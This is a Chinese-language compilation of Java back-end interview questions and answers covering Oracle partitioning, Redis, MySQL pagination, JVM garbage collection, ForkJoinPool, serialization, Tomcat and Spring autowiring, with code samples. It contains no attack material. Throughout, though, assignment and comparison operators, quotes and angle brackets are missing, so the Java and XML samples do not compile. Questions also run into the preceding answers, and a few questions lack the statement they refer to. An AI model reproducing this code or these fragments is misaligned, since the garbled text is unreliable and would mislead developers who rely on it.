Oracle的分区分为列表分区、范围分区、散列分区、复合分区增强可用性表的一个分区由于系统故障不能使用其他好的分区仍可以使用减少故障修复时间如果系统故障只影响表的一部份分区只需修复部分分区比修复整个表花的时间少维护轻松独产管理公区比管理单个大表轻松均衡 I/O把表的不同分区分配到不同的磁盘平衡 I/O改善性能对大表的查询、增加、修改等操作可以分解到表的不同分区来并行执行加快执行速度在使用层是感觉不到分区的存在
介绍一下Dubbo
Dubbo 是一个分布式、高性能、透明化的 RPC 服务框架提供服务自动注册、自动发现等高效服务治理方案 可以和 Spring 框架无缝集成
处理过大量的key同一时间过期吗需要注意什么
大量的 key 集中在某个时间点过期Redis 可能会出现短暂的卡顿现象。如果访问量大的情况下还可能出现缓存雪崩
处理办法可以在时间上加一个随机值分散过期时间点
MySQL 单表上亿怎么优化分页查询
1、表容量的问题
首先MySQL 不管怎么优化也是很难支持单表一亿数据量带查询条件的分页查询需要提前考虑分表分库。单表设计以 200-500 万为宜优化的好单表数据到一两千万性能也还行。出现那么单表那么大的数据量已经是设计问题了。
2、总页数的问题
页面不需要显示总页数仅显示附近的页码这样可以避免单表总行数的查询。
需要显示总页数这种情况就比较难处理一些。首先 MySQL 的 MyISAM 引擎把一个表的总行数记录在磁盘中查询 count(*) 可以直接返回InnoDB 引擎是一行行读出来累加计数大数据量时性能堪忧大几秒甚至几十秒都有可能我相信你一定遇到过。所以 MyISAM 的总行数查询速度是比 InnoDB 快的但这个快也仅限于不带 where 条件的。MyISAM 还有一个硬伤不支持事务。
如何既支持事务又快速的查出总数呢
使用 InnoDB 引擎新建一张表记录业务表的总数新增、删除各自在同一事务中增减总行数然后查询保证事务的一致性和隔离性。当然这里更新总行数要借助分布式锁或 CAS 方式更新记录总数的表。
3、具体的 SQL 优化
新增表记录业务表的总数也是无法彻底解决带查询条件的总行数查询慢的问题。这里只能借助具体的 SQL 优化。
不带条件 自增 id 字段连续
这种理想情况就不讨论了通过 pageNo 和 pageSize 算出 id 的起始与结束值
where id ? and id ?
where id between
where id ? limit 10就可以直接搞定了。
带查询条件 主键 id 不连续
这种就是我们最需要解决的情况。使用 limit 分页有个查询耗时与起始记录的位置成正比的问题所以不能直接使用。
可以这样根据主键进行关联查询
select * from table t1
join (select id from table where condition limit 10) t2
on t1.id t2.id
order by t1.id asc其中 condition 是包含索引的查询条件使用 id 字段进行具体信息的关联回查。当然查询条件 condition 中索引是否生效对性能影响也很大。
索引没有生效的一些情况
组合索引的「最左前缀」原则or 的使用可能导致索引未生效可使用 union all 替代like 查询以 % 开头对 null 值判断使用 ! 或 操作符索引列上使用计算、函数
4、其他解法
继续优化数据库配置提升数据库服务器硬件性能引入大数据组件引入大型商业数据库或者非关系型数据库解决大表问题
PS
MySQL 大表分页问题一般效果比较好的是使用记录页面最大最小 ID 或统计表优化 count 查询。
从面试回答问题的角度看如果能结合索引的实现比如 InnoDB 的索引使用 B 树子查询中索引如何生效与失效说清楚问题的本质是就是用空间去换取查询时间把问题提高到计算机原理I/O、CPU 之间的权衡、数据结构与算法的层面去阐述肯定会加分不少。
如何开启和查看 GC 日志
常见的 GC 日志开启参数包括
-Xloggc:filename指定日志文件路径-XX:PrintGC打印 GC 基本信息-XX:PrintGCDetails打印 GC 详细信息-XX:PrintGCTimeStamps打印 GC 时间戳-XX:PrintGCDateStamps打印 GC 日期与时间-XX:PrintHeapAtGC打印 GC 前后的堆、方法区、元空间可用容量变化-XX:PrintTenuringDistribution打印熬过收集后剩余对象的年龄分布信息有助于 MaxTenuringThreshold 参数调优设置-XX:PrintAdaptiveSizePolicy打印收集器自动设置堆空间各分代区域大小、收集目标等自动调节的相关信息-XX:PrintGCApplicationConcurrentTime打印 GC 过程中用户线程并发时间-XX:PrintGCApplicationStoppedTime打印 GC 过程中用户线程停顿时间-XX:HeapDumpOnOutOfMemoryError堆 oom 时自动 dump-XX:HeapDumpPath堆 oom 时 dump 文件路径
Java 9 JVM 日志模块进行了重构参数格式发生变化这个需要知道。
GC 日志输出的格式会随着上面的参数不同而发生变化。关注各个分代的内存使用情况、垃圾回收次数、垃圾回收的原因、垃圾回收占用的时间、吞吐量、用户线程停顿时间。
借助工具可视化工具可以更方便的分析在线工具 GCeasy离线版可以使用 GCViewer。
如果现场环境不允许可以使用 JDK 自带的 jstat 工具监控观察 GC 情况。
说说Oracle的导入导出方式
dmp 文件方式使用 oracle 命令行工具 exp/imp导出为 sql 脚本不适合有二进制大字段使用第三方工具如PL/SQL可以导出二进制数据(pde)也可以导出 sql 脚本
常见加密算法有哪些是否对称
常用的对称加密算法DES、AES、3DES、RC2、RC4常用的非对称加密算法RSA、DSA、ECC单向散列函数的加密算法MD5、SHA
分析
LinkedList 实现 List 接口TreeMap 继承自 AbstractMapAbstractSet 实现 Set 接口
日期类型如何格式化字符串如何转日期 //日期格式为字符串
DateFormat sdf new SimpleDateFormat(yyyy-MM-dd hh:mm:ss);
String s sdf.format(new Date());//字符串转日期
DateFormat sdf new SimpleDateFormat(yyyy-MM-dd hh:mm:ss);
String s 2019-10-31 22:53:10;
Date date sdf.parse(s);为什么Java中一个类可以实现多个接口但只能继承一个类
多继承会产生钻石问题(菱形继承)
类 B 和类 C 继承自类 A且都重写了类 A 中的同一个方法类 D 同时继承了类 B 和类 C对于类 B、C 重写的类 A 中的方法类 D 会继承哪一个这里就会产生歧义考虑到这种二义性问题Java 不支持多重继承
Java 支持类实现多接口
接口中的方法是抽象的一个类实现可以多个接口假设这些接口中存在相同方法(方法名与参数相同)在实现接口时这个方法需要实现类来实现并不会出现二义性的问题
从 JDK1.8 开始接口中允许有静态方法和方法默认实现。当检测到实现类中实现的多个接口中有相同的默认已实现的方法编译报错
PS在JDK 1.5 上实践接口可以多继承接口
package constxiong.interview;/*** 测试继承多接口实现相同方法* 从 JDK1.8 开始接口中允许有静态方法和方法默认实现* 当检测到实现类中实现的多个接口中有相同的默认已实现的方法编译报错* author ConstXiong* date 2019-11-21 10:58:33*/
public class TestImplementsMulitInterface implements InterfaceA, InterfaceB {public void hello() {System.out.println(hello);}}interface InterfaceA {void hello();static void sayHello() {System.out.println(InterfaceA static: say hello);}default void sayBye() {System.out.println(InterfaceA default: say bye);}
}interface InterfaceB {void hello();static void sayHello() {System.out.println(InterfaceB static: say hello);}// default void sayBye() {
// System.out.println(InterfaceB default: say bye);
// }
}什么是装箱什么是拆箱装箱和拆箱的执行过程常见问题
1、什么是装箱什么是拆箱
装箱基本类型转变为包装器类型的过程。 拆箱包装器类型转变为基本类型的过程。
//JDK1.5之前是不支持自动装箱和自动拆箱的定义Integer对象必须
Integer i new Integer(8);//JDK1.5开始提供了自动装箱的功能定义Integer对象可以这样
Integer i 8;int n i;//自动拆箱2、装箱和拆箱的执行过程
装箱是通过调用包装器类的 valueOf 方法实现的拆箱是通过调用包装器类的 xxxValue 方法实现的xxx代表对应的基本数据类型。如int装箱的时候自动调用Integer的valueOf(int)方法Integer拆箱的时候自动调用Integer的intValue方法。
3、常见问题
整型的包装类 valueOf 方法返回对象时在常用的取值范围内会返回缓存对象。浮点型的包装类 valueOf 方法返回新的对象。布尔型的包装类 valueOf 方法 Boolean类的静态常量 TRUE | FALSE。
实验代码
Integer i1 100;
Integer i2 100;
Integer i3 200;
Integer i4 200;
System.out.println(i1 i2);//true
System.out.println(i3 i4);//falseDouble d1 100.0;
Double d2 100.0;
Double d3 200.0;
Double d4 200.0;
System.out.println(d1 d2);//false
System.out.println(d3 d4);//falseBoolean b1 false;
Boolean b2 false;
Boolean b3 true;
Boolean b4 true;
System.out.println(b1 b2);//true
System.out.println(b3 b4);//true包含算术运算会触发自动拆箱。存在大量自动装箱的过程如果装箱返回的包装对象不是从缓存中获取会创建很多新的对象比较消耗内存。
Integer s1 0;long t1 System.currentTimeMillis();for(int i 0; i 1000 * 10000; i){s1 i;}long t2 System.currentTimeMillis();System.out.println(使用Integer递增相加耗时 (t2 - t1));//使用Integer递增相加耗时68int s2 0;long t3 System.currentTimeMillis();for(int i 0; i 1000 * 10000; i){s2 i;}long t4 System.currentTimeMillis();System.out.println(使用int递增相加耗时 (t4 - t3));//使用int递增相加耗时6ps可深入研究一下 javap 命令看下自动拆箱、装箱后的class文件组成。 看一下 JDK 中 Byte、Short、Character、Integer、Long、Boolean、Float、Double的 valueOf 和 xxxValue 方法的源码xxx代表基本类型如intValue。
Spring中ObjectFactory与BeanFactory的区别
ObjectFactory 与 BeanFactory 均提供依赖查找的能力。
ObjectFactory 仅关注一个或一种类型的 Bean 依赖查找自身不具备依赖查找的能力能力由 BeanFactory 输出BeanFactory 提供了单一类型、集合类型以及层次性等多种依赖查找的方式。
linux指令-which
PATH 中搜索某个系统命令的位置并返回第一个搜索结果 which 命令可以看到某个系统命令是否存在执行命令的位置
which ls 查看 ls 命令的执行文件位置说一下垃圾分代收集的过程
分为新生代和老年代新生代默认占总空间的 1/3老年代默认占 2/3。 新生代使用复制算法有 3 个分区Eden、To Survivor、From Survivor它们的默认占比是 8:1:1。 当新生代中的 Eden 区内存不足时就会触发 Minor GC过程如下
在 Eden 区执行了第一次 GC 之后存活的对象会被移动到其中一个 Survivor 分区Eden 区再次 GC这时会采用复制算法将 Eden 和 from 区一起清理存活的对象会被复制到 to 区移动一次对象年龄加 1对象年龄大于一定阀值会直接移动到老年代Survivor 区相同年龄所有对象大小的总和 (Survivor 区内存大小 * 这个目标使用率)时大于或等于该年龄的对象直接进入老年代。其中这个使用率通过 -XX:TargetSurvivorRatio 指定默认为 50%Survivor 区内存不足会发生担保分配超过指定大小的对象可以直接进入老年代Major GC指的是老年代的垃圾清理但并未找到明确说明何时在进行Major GCFullGC整个堆的垃圾收集触发条件 1.每次晋升到老年代的对象平均大小老年代剩余空间 2.MinorGC后存活的对象超过了老年代剩余空间 3.元空间不足 4.System.gc() 可能会引起 5.CMS GC异常promotion failed:MinorGC时survivor空间放不下对象只能放入老年代而老年代也放不下造成concurrent mode failure:GC时同时有对象要放入老年代而老年代空间不足造成 6.堆内存分配很大的对象
Dubbo和Spring Cloud的区别
定位Dubbo 专注 RPC 和服务治理Spirng Cloud 是一个微服务架构生态性能Dubbo 强于 SpringCloud(主要是通信协议的影响)功能范围Dubbo 诞生于面向服务架构时代是一个分布式、高性能、透明化的 RPC 服务框架提供服务自动注册、自动发现等高效服务治理方案Spring Cloud 诞生于微服务架构时代基于 Spring、SpringBoot关注微服务的方方面面提供整套的组件支持通信协议Dubbo 使用 Netty基于 TCP 协议传输用 Hessian 序列化完成 RPC 通信SpringCloud 是基于 Http 协议 Rest 风格接口通信。Http 请求报文更大占用带宽更多Rest 比 RPC 灵活更新维护Dubbo 曾停止更新2017年重启维护中文社区文档较为全面一直保持高速更新社区活跃
Dubbo 构建的微服务架构像组装电脑组件选择自由度高、玩不好容易出问题Spring Cloud 的像品牌机提供一整套稳定的组件。
介绍一下ForkJoinPool的使用
ForkJoinPool 是 JDK1.7 开始提供的线程池。为了解决 CPU 负载不均衡的问题。如某个较大的任务被一个线程去执行而其他线程处于空闲状态。
ForkJoinTask 表示一个任务ForkJoinTask 的子类中有 RecursiveAction 和 RecursiveTask。 RecursiveAction 无返回结果RecursiveTask 有返回结果。 重写 RecursiveAction 或 RecursiveTask 的 compute()完成计算或者可以进行任务拆分。
调用 ForkJoinTask 的 fork() 的方法可以让其他空闲的线程执行这个 ForkJoinTask 调用 ForkJoinTask 的 join() 的方法将多个小任务的结果进行汇总。
无返回值打印任务拆分
package constxiong.interview;import java.util.concurrent.ForkJoinPool;
import java.util.concurrent.RecursiveAction;
import java.util.concurrent.TimeUnit;/*** 测试 ForkJoinPool 线程池的使用* author ConstXiong* date 2019-06-12 12:05:55*/
public class TestForkJoinPool {public static void main(String[] args) throws Exception {testNoResultTask();//测试使用 ForkJoinPool 无返回值的任务执行}/*** 测试使用 ForkJoinPool 无返回值的任务执行* throws Exception*/public static void testNoResultTask() throws Exception {ForkJoinPool pool new ForkJoinPool();pool.submit(new PrintTask(1, 200));pool.awaitTermination(2, TimeUnit.SECONDS);pool.shutdown();}
}/*** 无返回值的打印任务* author ConstXiong* date 2019-06-12 12:07:02*/
class PrintTask extends RecursiveAction {private static final long serialVersionUID 1L;private static final int THRESHOLD 49;private int start;private int end;public PrintTask(int start, int end) {super();this.start start;this.end end;}Overrideprotected void compute() {//当结束值比起始值 大于 49 时按数值区间平均拆分为两个任务否则直接打印该区间的值if (end - start THRESHOLD) {for (int i start; i end; i) {System.out.println(Thread.currentThread().getName() , i i);}} else {int middle (start end) / 2;PrintTask firstTask new PrintTask(start, middle);PrintTask secondTask new PrintTask(middle 1, end);firstTask.fork();secondTask.fork();}}}有返回值计算任务拆分、结果合并
package constxiong.interview;import java.util.concurrent.ForkJoinPool;
import java.util.concurrent.ForkJoinTask;
import java.util.concurrent.RecursiveTask;
import java.util.concurrent.TimeUnit;/*** 测试 ForkJoinPool 线程池的使用* author ConstXiong* date 2019-06-12 12:05:55*/
public class TestForkJoinPool {public static void main(String[] args) throws Exception {testHasResultTask();//测试使用 ForkJoinPool 有返回值的任务执行对结果进行合并。计算 1 到 200 的累加和}/*** 测试使用 ForkJoinPool 有返回值的任务执行对结果进行合并。计算 1 到 200 的累加和* throws Exception*/public static void testHasResultTask() throws Exception {int result1 0;for (int i 1; i 200; i) {result1 i;}System.out.println(循环计算 1-200 累加值 result1);ForkJoinPool pool new ForkJoinPool();ForkJoinTaskInteger task pool.submit(new CalculateTask(1, 200));int result2 task.get();System.out.println(并行计算 1-200 累加值 result2);pool.awaitTermination(2, TimeUnit.SECONDS);pool.shutdown();}}/*** 有返回值的计算任务* author ConstXiong* date 2019-06-12 12:07:25*/
class CalculateTask extends RecursiveTaskInteger {private static final long serialVersionUID 1L;private static final int THRESHOLD 49;private int start;private int end;public CalculateTask(int start, int end) {super();this.start start;this.end end;}Overrideprotected Integer compute() {//当结束值比起始值 大于 49 时按数值区间平均拆分为两个任务进行两个任务的累加值汇总否则直接计算累加值if (end - start THRESHOLD) {int result 0;for (int i start; i end; i) {result i;}return result;} else {int middle (start end) / 2;CalculateTask firstTask new CalculateTask(start, middle);CalculateTask secondTask new CalculateTask(middle 1, end);firstTask.fork();secondTask.fork();return firstTask.join() secondTask.join();}}}Java中的日期与时间获取与转换
JDK1.8 之前使用 java.util.CalendarJDK1.8 提供了 java.time 包还有第三方时间类库 Joda-Time 也可以 package constxiong.interview;import java.text.SimpleDateFormat;import java.time.LocalDate;import java.time.LocalDateTime;import java.time.LocalTime;import java.time.MonthDay;import java.time.Year;import java.time.format.DateTimeFormatter;import java.util.Calendar;import java.util.Date;/*** 测试时间和日期* author ConstXiong* date 2019-11-01 11:05:59*/public class TestDateAndTime {public static void main(String[] args) {//获取当前的年、月、日、时、分、秒、毫秒、纳秒//年System.out.println(Calendar.getInstance().get(Calendar.YEAR));//JDK 1.8 java.time 包System.out.println(Year.now());System.out.println(LocalDate.now().getYear());//月System.out.println(Calendar.getInstance().get(Calendar.MONTH)1);//JDK 1.8 java.time 包System.out.println(MonthDay.now().getMonthValue());System.out.println(LocalDate.now().getMonthValue());//日System.out.println(Calendar.getInstance().get(Calendar.DAY_OF_MONTH));//JDK 1.8 java.time 包System.out.println(MonthDay.now().getDayOfMonth());System.out.println(LocalDate.now().getDayOfMonth());//时System.out.println(Calendar.getInstance().get(Calendar.HOUR_OF_DAY));//JDK 1.8 java.time 包System.out.println(LocalTime.now().getHour());//分System.out.println(Calendar.getInstance().get(Calendar.MINUTE));//JDK 1.8 java.time 包System.out.println(LocalTime.now().getMinute());//秒System.out.println(Calendar.getInstance().get(Calendar.SECOND));//JDK 1.8 java.time 包System.out.println(LocalTime.now().getSecond());//毫秒System.out.println(Calendar.getInstance().get(Calendar.MILLISECOND));//纳秒System.out.println(LocalTime.now().getNano());//当前时间毫秒数System.out.println(System.currentTimeMillis());System.out.println(Calendar.getInstance().getTimeInMillis());//某月最后一天//2018-05月最后一天,6月1号往前一天Calendar c Calendar.getInstance();c.set(Calendar.YEAR, 2018);c.set(Calendar.MONTH, 5);c.set(Calendar.DAY_OF_MONTH, 1);c.add(Calendar.DAY_OF_MONTH, -1);System.out.println(c.get(Calendar.YEAR) - (c.get(Calendar.MONTH)1) - c.get(Calendar.DAY_OF_MONTH));//JDK 1.8 java.time 包LocalDate date LocalDate.of(2019, 6, 1).minusDays(1);System.out.println(date.getYear() - date.getMonthValue() - date.getDayOfMonth());//格式化日期System.out.println(new SimpleDateFormat(yyyy-MM-dd HH:mm:ss).format(new Date()));//JDK 1.8 java.time 包System.out.println(LocalDateTime.now().format(DateTimeFormatter.ofPattern(yyyy-MM-dd HH:mm:ss)));}}Redis有哪些适用场景
会话缓存(Session Cache)是 Redis 最常使用的一种情景全页缓存(FPC)用作网络版集合和队排行榜和计数器Redis 在内存中对数字递增、递减的操作实现的非常好。Set 和 Sorted Set 使得我们在执行这些操作的时候非常简单发布和订阅
线程池中submit()和execute()方法有什么区别
execute() 参数 Runnable submit() 参数 (Runnable) 或 (Runnable 和 结果 T) 或 (Callable)execute() 没有返回值而 submit() 有返回值submit() 的返回值 Future 调用get方法时可以捕获处理异常
生产环境 CPU 占用过高你如何解决 top H 指令找出占用 CPU 最高的进程的 pid top -H -p 在该进程中找到哪些线程占用的 CPU 最高的线程记录下 tid jstack -l threads.txt导出进程的线程栈信息到文本导出出现异常的话加上 -F 参数 将 tid 转换为十六进制在 threads.txt 中搜索查到对应的线程代码执行栈在代码中查找占 CPU 比较高的原因。其中 tid 转十六进制可以借助 Linux 的 printf “%x” tid 指令
我用上述方法查到过jvm 多条线程疯狂 full gc 导致的CPU 100% 的问题和 JDK1.6 HashMap 并发 put 导致线程 CPU 100% 的问题
以下语句是否会使用索引
不会因为列涉及到运算不会使用索引
什么是java序列化什么情况下需要序列化
序列化将 Java 对象转换成字节流的过程。
反序列化将字节流转换成 Java 对象的过程。
当 Java 对象需要在网络上传输 或者 持久化存储到文件中时就需要对 Java 对象进行序列化处理。
序列化的实现类实现 Serializable 接口这个接口没有需要实现的方法。实现 Serializable 接口是为了告诉 jvm 这个类的对象可以被序列化。
注意事项
某个类可以被序列化则其子类也可以被序列化对象中的某个属性是对象类型需要序列化也必须实现 Serializable 接口声明为 static 和 transient 的成员变量不能被序列化。static 成员变量是描述类级别的属性transient 表示临时数据反序列化读取序列化对象的顺序要保持一致
具体使用
package constxiong.interview;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;/*** 测试序列化反序列化* author ConstXiong* date 2019-06-17 09:31:22*/
public class TestSerializable implements Serializable {private static final long serialVersionUID 5887391604554532906L;private int id;private String name;public TestSerializable(int id, String name) {this.id id;this.name name;}Overridepublic String toString() {return TestSerializable [id id , name name ];}SuppressWarnings(resource)public static void main(String[] args) throws IOException, ClassNotFoundException {//序列化ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(TestSerializable.obj));oos.writeObject(测试序列化);oos.writeObject(618);TestSerializable test new TestSerializable(1, ConstXiong);oos.writeObject(test);//反序列化ObjectInputStream ois new ObjectInputStream(new FileInputStream(TestSerializable.obj));System.out.println((String)ois.readObject());System.out.println((Integer)ois.readObject());System.out.println((TestSerializable)ois.readObject());}}打印结果
测试序列化
618
TestSerializable [id1, nameConstXiong]异常的设计原则有哪些
不要将异常处理用于正常的控制流对可以恢复的情况使用受检异常对编程错误使用运行时异常避免不必要的使用受检异常优先使用标准的异常每个方法抛出的异常都要有文档保持异常的原子性不要在 catch 中忽略掉捕获到的异常
abstract关键字的作用是什么
可以修饰类和方法不能修饰属性和构造方法abstract 修饰的类是抽象类需要被继承abstract 修饰的方法是抽象方法需要子类被重写
为什么String类被设计用final修饰
String 类是最常用的类之一为了效率禁止被继承和重写为了安全。String 类中有很多调用底层的本地方法调用了操作系统的 API如果方法可以重写可能被植入恶意代码破坏程序。Java 的安全性也体现在这里。
Mybaits 的优缺点
优点:
消除 JDBC 中的重复代码可以在 XML 或注解中直接编写 SQL 语句比较灵活方便对 SQL 的优化与调整SQL 写在 XML 中与代码解耦按照对应关系方便管理XML 中提供了动态 SQL 的标签方便根据条件拼接 SQL提供了 XML、注解与 Java 对象的映射机制与 Spring 集成比较方便
缺点:
字段较多、关联表多时编写 SQL 工作量较大SQL 语句依赖了数据库特性会导致程序的移植性较差切换数据库困难
Dubbo适用于哪些场景
RPC 分布式服务拆分应用进行服务化提高开发效率调优性能节省竞争资源配置管理解决服务的地址信息剧增配置困难的问题服务依赖解决服务间依赖关系错踪复杂的问题服务扩容解决随着访问量的不断增大动态扩展服务提供方的机器的问题
MySQL显示表前 50 行 SELECT * FROM tablename LIMIT 0,50;spring boot有哪些方式可以实现热部署
Spring Loadedspring-boot-devtoolsJRebel插件
说说Tomcat的模块架构
Tomcat 是一个 Web 容器包含 HTTP 服务器 Servlet 容器。
Web 容器的两个核心功能
处理 Socket 连接处理网络字节流与 Request 和 Response 对象的转化加载和管理 Servlet处理 Request 请求
Tomcat 的两个核心组件连接器Connector和容器Container来分别做这两件事情。连接器负责对外连接容器负责内部对请求的处理。
Tomcat 的核心模块
ServerCatalina Servlet 容器。Tomcat 提供了 Server 接口的一个默认实现通常不需要用户自己去实现。在 Server 容器中可以包含一个或多个 Service 组件。Service存活在 Server 内部的中间组件它将一个或多个连接器Connector组件绑定到一个单独的引擎Engine上。Service 也很少由用户定制Tomcat 也提供了 Service 接口的默认实现。Connector连接器处理与客户端的通信它负责接收客户请求以及向客户返回响应结果。在 Tomcat 中有多个连接器可以使用。EngineServlet 引擎表示一个特定的 Service 的请求处理流水线从连接器接收和处理所有的请求将响应返回给适合的连接器通过连接器传输给用户。在 Tomcat 中每个 Service 只能包含一个 Engine。可以通过实现 Engine 接口提供自定义的引擎。Host一个虚拟主机一个引擎可以包含多个 Host。Tomcat 给出了 Host 接口的默认实现 StandardHost。Context一个 Web 应用程序运行在特定的虚拟主机中。一个 Host 可以包含多个Context每个 Context 都有一个唯一的路径。通常不需要创建自定义的 ContextTomcat 给出了 Context 接口的默认实现 StandardContext。
为什么说 MyBatis 是半自动 ORM
说 MyBatis 是 半自动 ORM 最主要的一个原因是它需要在 XML 或者注解里通过手动或插件生成 SQL才能完成 SQL 执行结果与对象映射绑定。
索引的种类有哪些
普通索引最基本的索引没有任何约束限制。唯一索引和普通索引类似但是具有唯一性约束可以有 null主键索引特殊的唯一索引不允许有 null一张表最多一个主键索引组合索引多列值组成一个索引用于组合搜索效率大于索引合并全文索引对文本的内容进行分词、搜索覆盖索引查询列要被所建的索引覆盖不必读取数据行
如何保证多个线程同时启动
可以 wait()、notify() 实现也可以使用发令枪 CountDownLatch 实现。
CountDownLatch 实现较简单如下
package constxiong.interview;import java.util.concurrent.CountDownLatch;/*** 测试同时启动多个线程* author ConstXiong*/
public class TestCountDownLatch {private static CountDownLatch cld new CountDownLatch(10);public static void main(String[] args) {for (int i 0; i 10; i) {Thread t new Thread(new Runnable() {public void run() {try {cld.await();//将线程阻塞在此等待所有线程都调用完start()方法一起执行} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName() : System.currentTimeMillis());}});t.start();cld.countDown();}}}使用过MySQL的存储过程吗介绍一下
存储过程(Stored Procedure)是数据库中一种存储复杂程序供外部程序调用的一种数据库对象是一段 SQL 语句集被编译保存在数据库中可命名并传入参数来调用执行可在存储过程中加入业务逻辑和流程可在存储过程中创建表更新数据删除数据等可通过把 SQL 语句封装在容易使用的单元中简化复杂的操作
使用递归输出某个目录下所有子目录和文件 package constxiong.interview;import java.io.File;/*** 使用递归输出某个目录下所有子目录和文件* author ConstXiong* date 2019-10-23 15:16:32*/
public class TestPrintDirAndFiles {public static void main(String[] args) {print(new File(E:/));}private static void print(File file) {System.out.println(file.getAbsolutePath());if (file.isDirectory()) {File[] files file.listFiles();for (File f : files) {print(f);}}}
}spring自动装配bean有哪些方式
Spring 中自动装配 autowire 机制是指由 Spring Ioc 容器负责把所需要的 bean自动查找和赋值到当前在创建 bean 的属性中无需手动设置 bean 的属性。
1、基于 xml 配置 bean 的装配方式
no默认的方式是不进行自动装配的需要通过手工设置 ref 属性来进行装配 bean。byName通过 bean 的名称进行自动装配如果一个 bean 的 property 与另一 bean 的 name 相同就进行自动装配。byType通过参数的数据类型进行自动装配。constructor通过构造函数进行装配并且构造函数的参数通过 byType 进行装配。autodetect自动探测如果有构造方法通过 construct 的方式自动装配否则使用 byType 的方式自动装配。 已弃用
方式的定义在 AutowireCapableBeanFactory.AUTOWIRE_NO
AUTOWIRE_BY_NAME
AUTOWIRE_BY_TYPE
AUTOWIRE_CONSTRUCTOR
AUTOWIRE_AUTODETECT
2、基于注解完成 bean 的装配
Autowired、Resource、Inject 都可以实现 bean 的注入 Autowired 是 Spring 推出的功能最为强大可以作用于 构造方法、setter 方法、参数、成员变量、注解用于自定义扩展注解 Resource 是 JSR-250 的规范推出 Inject 是 JSR-330 的规范推出Value 可以注入配置信息
Autowired、Inject、Value 的解析工作是在 AutowiredAnnotationBeanPostProcessor 内如何源码 1
Resource 的解析工作是在 CommonAnnotationBeanPostProcessor 内如何源码 2
源码 1、
public AutowiredAnnotationBeanPostProcessor() {this.autowiredAnnotationTypes.add(Autowired.class);this.autowiredAnnotationTypes.add(Value.class);try {this.autowiredAnnotationTypes.add((Class? extends Annotation)ClassUtils.forName(javax.inject.Inject, AutowiredAnnotationBeanPostProcessor.class.getClassLoader()));logger.trace(JSR-330 javax.inject.Inject annotation found and supported for autowiring);}catch (ClassNotFoundException ex) {// JSR-330 API not available - simply skip.}
}源码 2、
static {...resourceAnnotationTypes.add(Resource.class);...
}基于 xml 的代码示例
1、no 方式
spring 配置文件使用 ref 参数注入 bean必须要有对象的 setter 方法这里即 Person 的 setFr 方法。
没有 因没有注入 fr 属性会报空指针错误。
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idperson classconstxiong.interview.assemble.Person autowirenoproperty namefr reffr/property/beanbean idfr classconstxiong.interview.assemble.FishingRod/bean/beans鱼竿 bean
package constxiong.interview.assemble;/*** 鱼竿* author ConstXiong* date 2019-07-17 09:53:15*/
public class FishingRod {/*** 被使用*/public void used() {System.out.println(钓鱼...);}
}人 bean
package constxiong.interview.assemble;/*** 人* author ConstXiong* date 2019-07-17 09:54:56*/
public class Person {private FishingRod fr;/*** 钓鱼*/public void fish() {fr.used();}public void setFr(FishingRod fr) {this.fr fr;}}测试代码
package constxiong.interview.assemble;import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class AssembleTest {public static void main(String[] args) {ApplicationContext context new ClassPathXmlApplicationContext(spring_assemble.xml);Person person (Person)context.getBean(person);person.fish();}}2、byName 也是需要相应的 setter 方法才能注入
修改 spring 配置文件 autowire“byName”
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idperson classconstxiong.interview.assemble.Person autowirebyName/beanbean idfr classconstxiong.interview.assemble.FishingRod/bean/beans3、byType 也是需要相应的 setter 方法才能注入
修改 spring 配置文件 autowire“byType”
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idperson classconstxiong.interview.assemble.Person autowirebyType/beanbean idfr classconstxiong.interview.assemble.FishingRod/bean/beans其他不变
4、constructor 无需 setter 方法需要通过 构造方法注入 bean
修改 spring 配置文件 autowire“byType”
Person 类去除 setFr 方法添加构造方法设置 fr 属性
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idperson classconstxiong.interview.assemble.Person autowireconstructor/beanbean idfr classconstxiong.interview.assemble.FishingRod/bean/beanspackage constxiong.interview.assemble;/*** 人* author ConstXiong* date 2019-07-17 09:54:56*/
public class Person {private FishingRod fr;public Person(FishingRod fr) {this.fr fr;}/*** 钓鱼*/public void fish() {fr.used();}}1、2、3、4 的测试结果一致打印
钓鱼...MQ 有哪些使用场景
